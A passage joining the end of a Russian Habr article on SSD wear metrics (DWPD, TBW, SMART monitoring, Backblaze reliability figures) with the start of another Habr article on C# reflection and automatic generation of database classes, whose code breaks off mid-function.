* **Drive Writes Per Day (DWPD или DW/D)** = расчётная нагрузка на SSD (в день) во время срока эксплуатации, который составляет три-пять лет.
Если указан только DWPD, то можем сами посчитать TBW:
```
TBW (Х ТБ) = Х * DWPD * 365 дней в году * количество лет гарантии
```
Если в технических характеристиках 4-терабайтного SSD указано «пять лет, 1 DWPD», то накопитель рассчитан на 4 терабайта записи в день в течение 365\*5 = 1825 дней, то есть:
```
TBW = 4*1825 = 7300 ТБ
```
Такой объём записи должен выдержать накопитель в течение гарантийного срока.
Для разных накопителей количество TBW кратно отличается при одинаковом DWPD. То есть 1 DWPD для 15-терабайтного диска означает в 15 раз больший объём записи, чем 1 DWPD для терабайтного.
То еcть даже изначально при покупке SSD можно рассчитать, сколько лет отработает SSD с конкретным DWPD, если вы заранее знаете объём записи на диск в своей системе.
Соответственно, в случае интенсивной нагрузки 24/7 типа майнинга Chia можно выбрать более дорогую модель с более высоким показателем DWPD — и всё равно она долго не проживёт. А для нормальной работы нет смысла переплачивать, если расчёт по формуле покажет вам срок эксплуатации более 100 лет. Тут явно накопитель выйдет из строя раньше и по другим причинам.
Оценка своего DWPD
------------------
Для предварительной оценки нагрузки на SSD в продакшне на основе [рекомендаций производителей](https://documents.westerndigital.com/content/dam/doc-library/en_us/assets/public/western-digital/collateral/white-paper/white-paper-top-considerations-for-enterprise-ssds.pdf) можно составить такую небольшую [шпаргалку](https://blog.westerndigital.com/ssd-endurance-speeds-feeds-needs/) с указанием типичных вариантов использования:
| | | |
| --- | --- | --- |
| **Сценарий использования** | **Описание** | **Примерный DWPD** |
| **Загрузочный диск** | Загрузка сервера. Нечастые обновления. Логи и постоянные файлы хранятся на другом накопителе. | 0,1 ~ 1,0 |
| **Раздача контента** | Фронтенд CDN. Кэш для самых популярных медиафайлов | 0,5 ~ 2,0 |
| **Видеонаблюдение** | Запись трансляции с нескольких камер 24/7, периодическая перезапись содержимого диска. | кратно Nкамер |
| **Виртуализация и контейнеры** | Хранилище Tier-0 для контейнеров и VM в гиперконвергентной системе. Всё локальное хранилище в кластере работает на SSD. | 1,0 ~ 3,0 |
| **Транзакционная система (OLTP)** | Нагрузки с интенсивным использованием данных. Частое обновление журналов БД и файлов, до тысячи операций в секунду. | от 3,0 |
| **Высокопроизводительное кэширование** | Кэш для локальных HDD. Максимальные нагрузки. | от 3,0 и гораздо выше |
Таким образом, из реального DWPD и P/E для своего SSD можно примерно оценить приблизительный срок его жизни: общий и сколько осталось.
```
Общий срок жизни (дней) = P/E для своего типа памяти / DWPD (реальный)
```
Оставшийся срок можно ориентировочно спрогнозировать, если вычесть реальный срок эксплуатации из общего срока жизни SSD.
Или другой вариант — посчитать максимальный TBW для своего SSD исходя из его технических характеристик, а потом отслеживать реальный TBW в процессе эксплуатации.
Сбор статистики с конкретного SSD
---------------------------------
Для просмотра показателей SMART существует ряд специализированных утилит. В частности, под Linux это консольные утилиты smartctl, smartd и др. (см. [статью](https://linuxhandbook.com/check-ssd-health/) про мониторинг SSD под Linux).
**Пример выдачи smartctl**
```
sh$ sudo smartctl -a /dev/sdb
smartctl 6.5 2016-01-24 r4214 [x86_64-linux-4.10.0-32-generic] (local build)
Copyright (C) 2002-16, Bruce Allen, Christian Franke, www.smartmontools.org
=== START OF READ SMART DATA SECTION ===
SMART overall-health self-assessment test result: PASSED
General SMART Values:
Offline data collection status: (0x00) Offline data collection activity
was never started.
Auto Offline Data Collection: Disabled.
Self-test execution status: ( 0) The previous self-test routine completed
without error or no self-test has ever
been run.
Total time to complete Offline
data collection: ( 120) seconds.
Offline data collection
capabilities: (0x5b) SMART execute Offline immediate.
Auto Offline data collection on/off support.
Suspend Offline collection upon new
command.
Offline surface scan supported.
Self-test supported.
No Conveyance Self-test supported.
Selective Self-test supported.
SMART capabilities: (0x0003) Saves SMART data before entering
power-saving mode.
Supports SMART auto save timer.
Error logging capability: (0x01) Error logging supported.
General Purpose Logging supported.
Short self-test routine
recommended polling time: ( 2) minutes.
Extended self-test routine
recommended polling time: ( 11) minutes.
SCT capabilities: (0x003d) SCT Status supported.
SCT Error Recovery Control supported.
SCT Feature Control supported.
SCT Data Table supported.
SMART Attributes Data Structure revision number: 16
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE
1 Raw_Read_Error_Rate 0x000a 100 100 000 Old_age Always - 0
2 Throughput_Performance 0x0005 100 100 050 Pre-fail Offline - 0
3 Spin_Up_Time 0x0007 100 100 050 Pre-fail Always - 0
5 Reallocated_Sector_Ct 0x0013 100 100 050 Pre-fail Always - 0
7 Unknown_SSD_Attribute 0x000b 100 100 050 Pre-fail Always - 0
8 Unknown_SSD_Attribute 0x0005 100 100 050 Pre-fail Offline - 0
9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 171
10 Unknown_SSD_Attribute 0x0013 100 100 050 Pre-fail Always - 0
12 Power_Cycle_Count 0x0012 100 100 000 Old_age Always - 105
166 Unknown_Attribute 0x0012 100 100 000 Old_age Always - 0
167 Unknown_Attribute 0x0022 100 100 000 Old_age Always - 0
168 Unknown_Attribute 0x0012 100 100 000 Old_age Always - 0
169 Unknown_Attribute 0x0013 100 100 010 Pre-fail Always - 100
170 Unknown_Attribute 0x0013 100 100 010 Pre-fail Always - 0
173 Unknown_Attribute 0x0012 200 200 000 Old_age Always - 0
175 Program_Fail_Count_Chip 0x0013 100 100 010 Pre-fail Always - 0
192 Power-Off_Retract_Count 0x0012 100 100 000 Old_age Always - 18
194 Temperature_Celsius 0x0023 063 032 020 Pre-fail Always - 37 (Min/Max 11/68)
197 Current_Pending_Sector 0x0012 100 100 000 Old_age Always - 0
240 Unknown_SSD_Attribute 0x0013 100 100 050 Pre-fail Always - 0
SMART Error Log Version: 1
No Errors Logged
SMART Self-test log structure revision number 1
No self-tests have been logged. [To run self-tests, use: smartctl -t]
SMART Selective self-test log data structure revision number 1
SPAN MIN_LBA MAX_LBA CURRENT_TEST_STATUS
1 0 0 Not_testing
2 0 0 Not_testing
3 0 0 Not_testing
4 0 0 Not_testing
5 0 0 Not_testing
Selective self-test flags (0x0):
After scanning selected spans, do NOT read-scan remainder of disk.
If Selective self-test is pending on power-up, resume after 0 minute delay.
```
Для разных атрибутов SMART утилиты показывают статус типа OLD\_AGE, PRE-FAIL или FAILING\_NOW. Это значит, что некий атрибут соответствует количеству аномальных ситуаций, и для этих аномалий установлено граничное значение (threshold). Если значение приближается к граничному, это означает PRE-FAIL, а если превышает его — FAILING\_NOW. Но это лишь косвенные параметры, которые напрямую не говорят о физическом повреждении ячеек памяти. Некоторые специалисты [предпочитают игнорировать](https://etbe.coker.com.au/2020/12/20/smart-ssds/) показатели типа `Wear_Leveling_Count`. Один из разработчиков сделал форк стандартной утилиты мониторинга [etbe-mon](https://doc.coker.com.au/projects/etbe-mon/), которая умеет отслеживать данные SMART и подавлять бесполезные уведомления типа `FAILING_NOW` от `Wear_Leveling_Count`.
Самый важный их показатель — объективная нагрузка на диск и количество записанной информации, то есть реальные DWPD и TBW, вот их желательно учитывать в первую очередь.
Под Windows есть несколько хороших инструментов для сбора статистики. Например, программа [Hard Disk Sentinel](https://www.hdsentinel.com/) отслеживает объём информации, записанной на каждый накопитель за всё время эксплуатации, и рассчитывает прогноз оставшегося срока жизни.
*Hard Disk Sentinel*
Есть ещё программа [CrystalDiskInfo](https://crystalmark.info/en/software/crystaldiskinfo/) и др.
*CrystalDiskInfo*
Многие производители предлагают собственные инструменты для обслуживания своих SSD-накопителей. Например, для накопителей Kingston есть [Kingston SSD Manager](https://www.kingston.com/en/support/technical/ssdmanager), для накопителей Samsung — [Samsung Magician](https://semiconductor.samsung.com/consumer-storage/support/tools/) и так далее.
Эти программы не только собирают статистику с накопителя, но и оповещают о выходе новых прошивок. Производители [рекомендуют](https://habr.com/ru/company/kingston_technology/blog/527410/) держать SSD в актуальном состоянии и обновлять прошивку.
Как продлить срок жизни SSD
---------------------------
Логика подсказывает: если ресурс SSD ограничен количеством циклов перезаписи, то для увеличения срока жизни нужно **уменьшить объём записи**.
Разумеется, при этом мы не хотим жертвовать производительностью или чем-то другим.
Что можно сделать?
* поставить больше RAM, чтобы уменьшить использование файла подкачки во время работы операционной системы (некоторые рекомендуют вовсе отключить файл подкачки, но это, по сути, плохой совет, хотя его логика понятна);
* отключить неиспользуемые функции ОС (см. статью о том, [что нужно отключить в Windows 11](https://hothardware.com/news/former-microsoft-engineer-disable-windows-11-features-ram), по мнению бывшего разработчика Microsoft) и лишние элементы автозагрузки (см. [«Ускорение загрузки Windows for fun and profit»](https://habr.com/ru/post/106684/) на Хабре);
* отключить [ненужную дефрагментацию SSD](https://www.outsidethebox.ms/14900/);
* использовать утилиты вроде [PowerToys](https://github.com/microsoft/PowerToys) для оптимизации ОС;
* под Linux можно перейти на более продвинутую файловую систему: например, [ZFS](https://en.wikipedia.org/wiki/ZFS) со встроенным сжатием, которое снижает количество операций записи, при этом увеличивая скорость, вместительность и срок жизни накопителя (см. [«Основы ZFS: система хранения и производительность»](https://habr.com/ru/post/504692/)), или [Btrfs](https://btrfs.wiki.kernel.org/index.php/Main_Page), во многом [не уступающую ZFS по функциям](https://en.wikipedia.org/wiki/Comparison_of_file_systems).
И не следует забывать про резервное копирование для страховки, на случай выхода из строя SSD в любой момент. Можно соорудить [простейший RAID-массив](https://arstechnica.com/information-technology/2020/04/understanding-raid-how-performance-scales-from-one-disk-to-eight/) из двух-трёх SSD, которые работают одновременно и дублируют друг друга.
### SSD+HDD
Один из известных лайфхаков — связка [SSD+HDD](https://www.reddit.com/r/buildapc/comments/kejozg/ssdhdd_or_just_ssd/). Условно говоря, вместо одного большого SSD можно купить NVMe маленького размера, только для операционной системы, рабочих приложений и избранных игр, а все остальные файлы, дистрибутивы и резервные копии хранить на дешёвом медленном SATA HDD. По цене получится примерно одинаковая сумма, а места больше на несколько терабайт.
Хотя так делают скорее для экономии и увеличения объёма хранилища, но у лайфхака есть и дополнительный бонус — некоторое снижение нагрузки на SSD. То есть увеличение его срока жизни.
Кроме того, в более свободных SSD больше размер кэша и [выше производительность](https://www.anandtech.com/print/16458/2021-ssd-benchmark-suite), чем в заполненных.
*Изменение размера кэша SLC в зависимости от объёма свободного места в Intel SSD 665p, [источник](https://www.anandtech.com/print/16458/2021-ssd-benchmark-suite)*
Да и игры всё растут. Дистрибутивы по 200 ГБ уже почти норма… Так что полностью переходить на модель «один большой SSD» немного опасно, места может не хватить для всего. С другой стороны, всё больше игр [рекомендуют SSD для установки](https://us.battle.net/support/en/article/76459). Тут особо не забалуешь, потому что при использовании HDD страдает производительность.
Надёжность SSD и HDD в первый год работы
----------------------------------------
Самым известным источником данных по надёжности накопителей в практическом использовании остаётся статистика хостера Backblaze, которая периодически обновляется. У них тысячи серверов и девять лет статистики по разным моделям HDD и SSD (в последние годы загрузочные диски серверов перевели на SSD).
В сентябре 2021 года Backblaze впервые [сравнила SSD и HDD по надёжности](https://www.backblaze.com/blog/are-ssds-really-more-reliable-than-hard-drives/), получилось любопытно.
В целом оказалось, что в начале работы (в среднем до 14 месяцев в данном случае) SSD выходят из строя *немножко* реже, чем HDD.
**Годовая частота сбоев (AFR)**
| | Количество дисков | Средний возраст (месяцев) | Дней работы | Всего сбоев | AFR |
| --- | --- | --- | --- | --- | --- |
| SSD | 1666 | 14,2 | 591 501 | 17 | 1,05% |
| HDD | 1607 | 52,4 | 3 523 610 | 619 | 6,41% |
Что будет дальше — непонятно. На интервале в несколько лет достоверная статистика пока не собрана. Вполне возможно, что там преимущество SSD будет не таким очевидным, как раз из-за ограниченного ресурса на количество циклов перезаписи.
Что в итоге
-----------
Вообще, в последние годы после освоения NVME и PCIe 4.0 рынок потребительских SSD немножко застыл на месте. Бенчмарки топовых моделей вроде 980Pro и SN850 не слишком отличаются от моделей двух-трёхлетней давности. Максимальный объём массовых SSD упёрся в 2–4 ТБ и дальше особо не растёт. Причин много, в том числе дефицит микросхем.
Если нет особого прогресса по техническим характеристикам, то на первый план выходит надёжность как ключевой фактор. И вот здесь прогресс виден. Некоторые SSD уже [обогнали отдельные HDD по заявленной надёжности](https://www.tomshardware.com/news/some-new-hard-drives-have-less-endurance-than-ssds) (объём записи 1200–2500 ТБ на 5 лет). Хотя до рекодсменов типа [WD Ultrastar DC SN840](https://documents.westerndigital.com/content/dam/doc-library/en_us/assets/public/western-digital/product/data-center-drives/ultrastar-nvme-series/data-sheet-ultrastar-dc-sn840.pdf) им ещё далеко. Там вообще 35 040 ТБ на 5 лет.
Интересно, что «закон Мура» в широком смысле (то есть возрастание некоего технического параметра в геометрической прогрессии) оживает и затихает в разных местах. В конце 20 века он был явно виден у CPU, потом начался бурный прогресс HDD (2000-е), потом SSD (2010-е), а сейчас заметен в области аккумуляторов. Создаётся впечатление, что интенсивное развитие начинается в разных отраслях по очереди, после чего затихает. Но иногда случается неожиданный технологический прорыв, как было с ядром Zen от AMD — и закон Мура снова просыпается… И так продолжается снова и снова: научно-технический прогресс не остановить.
---
НЛО прилетело и оставило здесь промокод для читателей нашего блога:
— [15% на все тарифы VDS](https://firstvds.ru/?utm_source=habr&utm_medium=article&utm_campaign=product&utm_content=vds15exeptprogrev) (кроме тарифа Прогрев) — **HABRFIRSTVDS**. | https://habr.com/ru/post/660193/ | null | ru | null |
# Лень, рефлексия, атрибуты, динамические сборки
#### Небольшой опыт, полученный благодаря лени
Года три назад, работал я на одну фирму. Было нас 4 программиста. Один писал бизнес логику приложения. Описывал он ее с помощью интерфейсов (interface). Логические связи, зависимости и т. д. Наша же задача была реализовать эти интерфейсы и связать с GUI. Основной проблемой в этой системе были постоянные изменения структуры связей и параметров. То есть нам приходилось постоянно заниматься правкой и рефакторингом.
Я человек достаточно ленивый. Поэтому пришла мысль — неужели нельзя, как нибудь это автоматизировать. И я сел за книжки.
**Шаг первый**
Первая идея была достаточна явна и проста. Интерфейсы содержаться в отдельных файлах — так почему бы не распарсить их и создать текстовой файл со сгенерированным классом. Так и было сделано.
**К сожалению тех исходников не сохранилось, но есть аналог, кому интересно может посмотреть(классы строятся на основе таблиц из базы данных)**
```
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using SV.DataBaseWork;
using v2;
using System.Data.SqlClient;
namespace CreatorDBClasses
{
class ColumnDB
{
public ColumnDB(string name, string type)
{
Name = name;
Type = ConvertType(type);
}
public string Name;
public string Type;
public string Initial = "null";
public string ConvertType(string tp)
{
switch (tp)
{
case "String":
Initial = "\"\"";
return "string";
case "Double":
Initial = "0";
return "double";
case "Boolean":
Initial = "false";
return "bool";
case "Int32":
Initial = "0";
return "int";
default:
Initial = "null";
return tp;
}
}
}
///
/// Сводное описание для CreatorDBWorkClasses
///
public class CreatorClasses
{
String connStr = null;
public CreatorClasses(string table, String ConnectionString = null)
{
tablename = table;
className = "cl_" + tablename;
if (string.IsNullOrEmpty(ConnectionString))
connStr = v2_SacuraConstants.ConnectionString;
else
connStr = ConnectionString;
//
// TODO: добавьте логику конструктора
//
}
string mBaseClass = "DataBaseWorkBase";
public string BaseClass
{
get { return mBaseClass; }
set { mBaseClass = value; }
}
string tab = "\t\t";
string className;
string sources;
public string Sources
{
get { return sources; }
}
string tablename;
List mListColumn = new List();
public bool GetSources()
{
sources = "\tpublic class " + className + (string.IsNullOrEmpty(BaseClass) ? "" : " : " + BaseClass) + ", IDisposable\r\n\t{\r\n";
sources += GetConstructor();
sources += GetProperty();
sources += GetInitFunction();
sources += GetSaveFunction();
sources += GetDeleteFunction();
sources += GetDisposable();
sources += StaticGetList();
sources += GetLastError();
sources += "\t}";
return true;
}
string GetLastError()
{
return "#region Error\r\n" +
" string mError;\r\n" +
" public string lastError\r\n" +
" {\r\n" +
" get { return mError; }\r\n" +
" }\r\n" +
"#endregion\r\n";
}
string StaticGetList()
{
return "#region Static\_GetList\r\n" +
" public static List<"+className+"> GetList(string SQL\_WHERE = \"\")\r\n" +
" {\r\n" +
" List<" + className + "> lst = null;\r\n" +
" DataBaseWorkBase db = new DataBaseWorkBase(v2\_SacuraConstants.ConnectionString);\r\n" +
" if (db.Open())\r\n" +
" {\r\n" +
" lst = new List<" + className + ">();\r\n" +
" SqlCommand sqlcmd = db.CreateSQLCommand();\r\n" +
" sqlcmd.CommandText = \"SELECT \* \" +\r\n" +
" \"FROM "+tablename+" \" + SQL\_WHERE;\r\n" +
" SqlDataReader reader = sqlcmd.ExecuteReader();\r\n" +
" while (reader.Read())\r\n" +
" {\r\n" +
" " + className + " ord = new " + className + "();\r\n" +
" if (ord.InitFromDataReader(reader))\r\n" +
" lst.Add(ord);\r\n" +
" }\r\n" +
" reader.Close();\r\n" +
" reader = null;\r\n" +
" }\r\n" +
" db.Close();\r\n" +
" db = null;\r\n" +
" return lst;\r\n" +
" }\r\n" +
"#endregion\r\n";
}
string GetDisposable()
{
return "#region Члены IDisposable\r\n" +
" public override void Close()\r\n" +
" {\r\n" +
" base.Close();\r\n" +
" }\r\n" +
"\r\n" +
" protected override void Dispose(bool disposing)\r\n" +
" {\r\n" +
" if (disposing)\r\n" +
" {\r\n"+
" Close();\r\n" +
" base.Dispose(true);\r\n" +
" }\r\n" +
" }\r\n" +
"#endregion\r\n";
}
string GetDeleteFunction()
{
string con = "#region Delete\r\n"+
tab+"public bool Delete()\r\n"+
tab+"{\r\n"+
tab+" bool result = false;\r\n"+
tab+" try\r\n"+
tab+" {\r\n"+
tab+" SqlCommand sqlcmd = CreateSQLCommand();\r\n"+
tab+" sqlcmd.CommandText = \"DELETE FROM "+tablename+" WHERE ID=@ID\";\r\n"+
tab+" sqlcmd.Parameters.AddWithValue(\"@ID\", m\_ID);\r\n"+
tab+" sqlcmd.ExecuteNonQuery();\r\n"+
tab+" result = true;\r\n"+
tab+" }\r\n"+
tab+" catch (System.Exception ex)\r\n"+
tab+" {\r\n"+
tab+" }\r\n"+
tab+" return result;\r\n"+
tab+"}\r\n"+
"#endregion\r\n";
return con;
}
string GetInitParams()
{
string pr = "";
int cnt = mListColumn.Count;
for (int a = 0; a < cnt; a++)
{
if (mListColumn[a].Type != "string")
pr += tab + tab + mListColumn[a].Type + ".TryParse(reader[" + a.ToString() + "].ToString(), out m\_" + mListColumn[a].Name + ");\r\n";
else
pr += tab + tab + mListColumn[a].Name +"=reader[" + a.ToString() + "].ToString();\r\n";
}
return pr;
}
string GetInitFunction()
{
string fn = "#region Init\r\n" +
tab + "public bool InitFromDataReader(SqlDataReader reader)\r\n" +
tab + "{\r\n" +
tab + " try\r\n" +
tab + " {\r\n" +
GetInitParams() +
tab + " }\r\n" +
tab + " catch (System.Exception ex)\r\n" +
tab + " {\r\n" +
tab + " return false;\r\n" +
tab + " }\r\n" +
tab + " return true;\r\n" +
tab + "}\r\n" +
tab + "public bool Init(string id)\r\n" +
tab + "{\r\n" +
tab + " if (string.IsNullOrEmpty(id))\r\n" +
tab + " return false;\r\n" +
tab + " int t;\r\n" +
tab + " int.TryParse(id, out t);\r\n" +
tab + " return Init(t);\r\n" +
tab + "}\r\n" +
tab + "public bool Init(int id)\r\n" +
tab + "{\r\n" +
tab + " if (!base.Open())\r\n" +
tab + " return false;\r\n" +
tab + " bool IsLoad = false;\r\n" +
tab + " try\r\n" +
tab + " {\r\n" +
tab + " SqlCommand sqlcmd = CreateSQLCommand();\r\n" +
tab + " sqlcmd.CommandText = \"SELECT \* \" +\r\n" +
tab + " \"FROM " + tablename + " WHERE [ID]=@ID\";\r\n" +
tab + " sqlcmd.Parameters.AddWithValue(\"@ID\", id);\r\n" +
tab + " SqlDataReader reader = sqlcmd.ExecuteReader();\r\n" +
tab + " if (reader.Read())\r\n" +
tab + " {\r\n" +
tab + " if (!InitFromDataReader(reader))\r\n" +
tab + " {\r\n" +
tab + " reader.Close();\r\n" +
tab + " base.Close();\r\n"+
tab + " return false;\r\n" +
tab + " }\r\n" +
tab + " IsLoad = true;\r\n" +
tab + " }\r\n" +
tab + " reader.Close();\r\n" +
tab + " }\r\n" +
tab + " catch (System.Exception ex)\r\n" +
tab + " {\r\n" +
tab + " mError = ex.Message;\r\n" +
tab + " IsLoad = false;\r\n" +
tab + " }\r\n" +
tab + " base.Close();" +
tab + " return IsLoad;\r\n" +
tab + "}\r\n";
fn += "#endregion\r\n";
return fn;
}
string GetConstructor()
{
string con = "#region Constructor\r\n" +
tab + "public " + className + "(string ConnectionString)\r\n" +
tab + "\t: base (ConnectionString)\r\n" +
tab + "{\r\n" +
tab + "}\r\n" +
tab + "public " + className + "()\r\n" +
tab + "\t:base(v2\_SacuraConstants.ConnectionString)\r\n" +
tab + "{\r\n" +
tab + "}\r\n" +
"#endregion\r\n";
return con;
}
string GetProperty()
{
mListColumn.Clear();
string src = "#region Property\r\n";
//////////////////////////////////////////////////////////////////////////
//add property
SqlConnection myConnection = new SqlConnection(connStr);
SqlDataAdapter myAdapter = new SqlDataAdapter("select \* from " + tablename, myConnection);
DataSet dataSet = new DataSet();
myConnection.Open();
myAdapter.Fill(dataSet, "tablename");
myConnection.Close();
ConstraintCollection prKey = dataSet.Tables[0].Constraints;
for (int i = 0; i < dataSet.Tables[0].Columns.Count; i++)
{
string tab1 = "\t\t\t";
src += tab;
ColumnDB clTp = new ColumnDB(dataSet.Tables[0].Columns[i].ColumnName, dataSet.Tables[0].Columns[i].DataType.Name);
mListColumn.Add(clTp);
src += clTp.Type + " m\_" + clTp.Name +"="+clTp.Initial+ ";\r\n";
src += "\t\t";
src += "public "+clTp.Type + " " + clTp.Name + "\r\n" + tab + "{\r\n" +
tab1 + "get\r\n" + tab1 + "{\r\n" + tab1 + "\treturn m\_" + clTp.Name + ";\r\n" + tab1 + "}\r\n" + tab1 +
"set\r\n" + tab1 + "{\r\n" + tab1 + "\tm\_" + clTp.Name + "=value;\r\n" + tab1 + "}\r\n" + tab + "}\r\n";
}
//////////////////////////////////////////////////////////////////////////
return src + "#endregion\r\n";
}
string GetSaveInsertParams()
{
string pr = "";
int cnt = mListColumn.Count;
for (int a = 1; a < cnt; a++)
{
pr += tab + tab + tab + (a == 1 ? "\"[" : "\",[") + mListColumn[a].Name + "]\"+\r\n";
}
return pr;
}
string GetSaveInsertValues()
{
string pr = "";
int cnt = mListColumn.Count;
for (int a = 1; a < cnt; a++)
{
pr += tab + tab + tab + (a == 1 ? "\"@" : "\",@") + mListColumn[a].Name + (a != cnt - 1 ? "\"+\r\n" : ")\"");
}
return pr;
}
string GetSaveUpdateParams()
{
string pr = "";
int cnt = mListColumn.Count;
for (int a = 1; a < cnt; a++)
{
pr += tab + tab + tab + (a == 1 ? "\"[" : "\",[") + mListColumn[a].Name + "]=@" + mListColumn[a].Name +
"\"" + (a != cnt - 1 ? "+\r\n" : "");
}
return pr;
}
string GetAddWithValue()
{
string pr = "";
int cnt = mListColumn.Count;
for (int a = 1; a < cnt; a++)
{
pr += tab + tab + "sqlcmd.Parameters.AddWithValue(\"@" + mListColumn[a].Name +"\", m\_"+
mListColumn[a].Name+");\r\n";
}
return pr;
}
string GetSaveFunction()
{
string con = "#region Save\r\n" +
tab + "public bool Save()\r\n" +
tab + " {\r\n" +
tab + " bool result = false;\r\n" +
tab + " try\r\n" +
tab + " {\r\n" +
tab + " SqlCommand sqlcmd = CreateSQLCommand();\r\n" +
tab + " if (m\_ID <= 0)\r\n" +
tab + " {\r\n" +
tab + " sqlcmd.CommandText = \"INSERT INTO " + tablename + " ( \"+\r\n" +
GetSaveInsertParams() +
tab + " \") VALUES (\"+\r\n" +
GetSaveInsertValues() + "+\";SELECT CAST(scope\_identity() AS int)\";\r\n" +
tab + " }\r\n" +
tab + " else\r\n" +
tab + " {\r\n" +
tab + " sqlcmd.CommandText = \"UPDATE " + tablename + " SET \" +\r\n" +
GetSaveUpdateParams() + "+\r\n" +
tab + " \" WHERE ID=@ID\";\r\n" +
tab + " sqlcmd.Parameters.AddWithValue(\"@ID\", m\_ID);\r\n" +
tab + " }\r\n" +
tab + GetAddWithValue() + "\r\n" +
tab + " if (m\_ID > 0)\r\n" +
tab + " sqlcmd.ExecuteNonQuery();\r\n" +
tab + " else\r\n" +
tab + " {\r\n" +
tab + " object ob;\r\n" +
tab + " ob = sqlcmd.ExecuteScalar();\r\n" +
tab + " if(ob != null)\r\n" +
tab + " int.TryParse(ob.ToString(), out m\_ID);\r\n" +
tab + " }\r\n" +
tab + " }\r\n" +
tab + " catch (System.Exception ex)\r\n" +
tab + " {\r\n" +
tab + " mError = ex.Message;\r\n" +
tab + " result = false;\r\n" +
tab + " }\r\n" +
tab + " return result;\r\n" +
tab + " }\r\n" +
"#endregion\r\n";
return con;
}
}
}
```
Вроде бы, проблема решена. Но тем не менее работы еще много оставалось: перенос файлов, рефакторинг. Да еще у ребят ничего не изменилось. Они занимались созданием UI и привязкой его к объектной модели.
**Шаг второй**
Продолжая поиски в сети я наткнулся на описание [класс Type](https://msdn.microsoft.com/ru-ru/library/system.type(v=vs.110).aspx), заинтересовавшись, я почитал про него подробнее. Есть много интересных функций у этого класса. Фактически благодаря ему можно полностью получить всю информацию по классу. Конструктор, реализованные интерфейсы, свойства, переменные, функции… Полную информацию. И я начал эксперементировать с ним, и в итоге, получил:
**Класс для работы с типами классов**
```
using System;
using System.Collections.Generic;
using System.Reflection;
using System.Threading;
namespace SV.Tools
{
public delegate void AddProp(string name, string val);
///
/// структура для дублирующих параметров
///
public struct MetodInfoDouble
{
public MethodInfo getMetod;
public MethodInfo setMetod;
}
///
/// класс со статик функциями для работы с классами :( ну и описалово получилось
///
public class ClassesTools
{
///
/// получения данных всех порперти класса включая вложения
///
///
///
///
public static void GetAllPropertyData(object ob, AddProp delegateProp, string parentName = "")
{
if (ob == null || delegateProp == null)
return;
PropertyInfo[] propInfo = ob.GetType().GetProperties();
for (int b = 0; b < propInfo.Length; b++)
{
ParameterInfo[] param = propInfo[b].GetIndexParameters();
if (param.Length == 0 && propInfo[b].CanRead && propInfo[b].Name != "Root" && propInfo[b].Name != "Parent")
{
object data = propInfo[b].GetValue(ob, null);
if (propInfo[b].PropertyType.IsInterface && data != null)
{
GetAllPropertyData(data, delegateProp, (parentName == "" ? "" : parentName + ".") + propInfo[b].Name);
}
else
{
delegateProp((parentName == "" ? "" : parentName + ".") + propInfo[b].Name,
( data == null ? "NULL" : SV.ConversionTools.DataCoversion.ConvertByType(data)));
}
}
}
}
static AppDomain domain = Thread.GetDomain();
static Assembly[] asm = domain.GetAssemblies();
///
/// поиск интерфеса по имени
///
/// имя интерфейса
///
public static Type FindInterfece(string Namespace, string Name, bool isIgnorCase = true)
{
if (Namespace == "" || Name == "")
return null;
int count = asm.Length;
for (int a = 0; a < count; a++)
{
Type t = asm[a].GetType(Namespace+"."+Name);
if (t != null)
return t;
}
return null;
}
public static List GetAsseblyIntrface(string AssembleName, string Namespace)
{
if (Namespace == "" )
return null;
int count = asm.Length;
for (int a = 0; a < count; a++)
{
if (asm[a].GetName().Name == AssembleName)
{
Type[] t = asm[a].GetTypes();
List lst = new List();
count = t.Length;
for(int b =0; b < count; b++)
{
if (t[b].Namespace == Namespace)
lst.Add(t[b]);
}
return lst;
}
}
return null;
}
///
/// находит все нтерфейсы, включая вложенные, удаляет дубликаты
///
///
///
public static void GetAllInterfece(Type[] tp, ref List listInterfece)
{
if (tp == null)
return;
int count = tp.Length;
for (int a = 0; a < count; a++)
{
Type rezult = listInterfece.Find(
delegate(Type typ)
{
return tp[a] == typ;
}
);
if (rezult == null)
listInterfece.Add(tp[a]);
Type[] t = tp[a].GetInterfaces();
GetAllInterfece(t, ref listInterfece);
}
}
///
/// находит все нтерфейсы, включая вложенные
///
///
///
public static List GetAllInterfece(Type parentClass)
{
List listClasses = new List();
GetAllInterfece(new Type[] { parentClass }, ref listClasses);
return listClasses;
}
///
/// находит все нтерфейсы, включая вложенные, удаляет дубликаты
///
///
///
///
public static List GetAllInterfece(Type parentClass, List listInterfece)
{
List listClasses = new List();
GetAllInterfece(new Type[] { parentClass }, ref listClasses);
GetAllInterfece(listInterfece.ToArray(), ref listInterfece);
return RemoveDouble(listClasses, listInterfece);
}
///
/// удаляет дубликаты в списках
///
/// источник
/// список в котором уберуться встречающиеся значения в sources
/// возращаемое значение
public static List RemoveDouble(List sources, List editableList)
{
for (int a = editableList.Count - 1; a >= 0; a--)
{
if (sources.Find((Type t) => editableList[a] == t) != null)
editableList.RemoveAt(a);
}
return editableList;
}
///
/// поиск параметра во всех интерфейсах типа
///
/// тип класса
/// имя параметра
/// найденный параметр
///
/// тестовая функция
///
public static PropertyInfo FindProperty(Type \_class, string propertyName)
{
List allProperty = GetAllProperty(\_class);
int count = allProperty.Count;
PropertyInfo info = null;
for (int a = 0; a < count; a++)
{
if (allProperty[a].Name == propertyName)
{
info = allProperty[a];
break;
}
}
return info;
}
public static List RemoveDouble(List property)
{
List retryList = new List();
int count = property.Count;
for (int a = 0; a < count; a++)
{
if (retryList.Find((Type inf) => property[a] == inf) == null)
retryList.Add(property[a]);
}
return retryList;
}
public static List RemoveDouble(List property)
{
List retryList = new List();
int count = property.Count;
for (int a = 0; a < count; a++)
{
if(retryList.Find( (PropertyInfo inf) =>property[a] == inf ) == null)
retryList.Add(property[a]);
}
return retryList;
}
///
/// получает все параметры по типу, с удалением дублей
///
/// родидельский тип
/// список параметров
///
/// тестовая функция
///
public static List GetAllProperty(Type parent)
{
List allTypes = GetAllInterfece(parent);
List allProperty = new List();
if (allTypes != null)
{
int count = allTypes.Count;
for(int a =0; a < count; a++)
{
allProperty.AddRange(allTypes[a].GetProperties(/\*BindingFlags.Default\*/));
}
}
return RemoveDouble(allProperty);
}
///
/// поиск параметра по имени
///
/// имя параметра
///
public static PropertyInfo GetPropertyByName(object curr, string name, ref object objectIsCall)
{
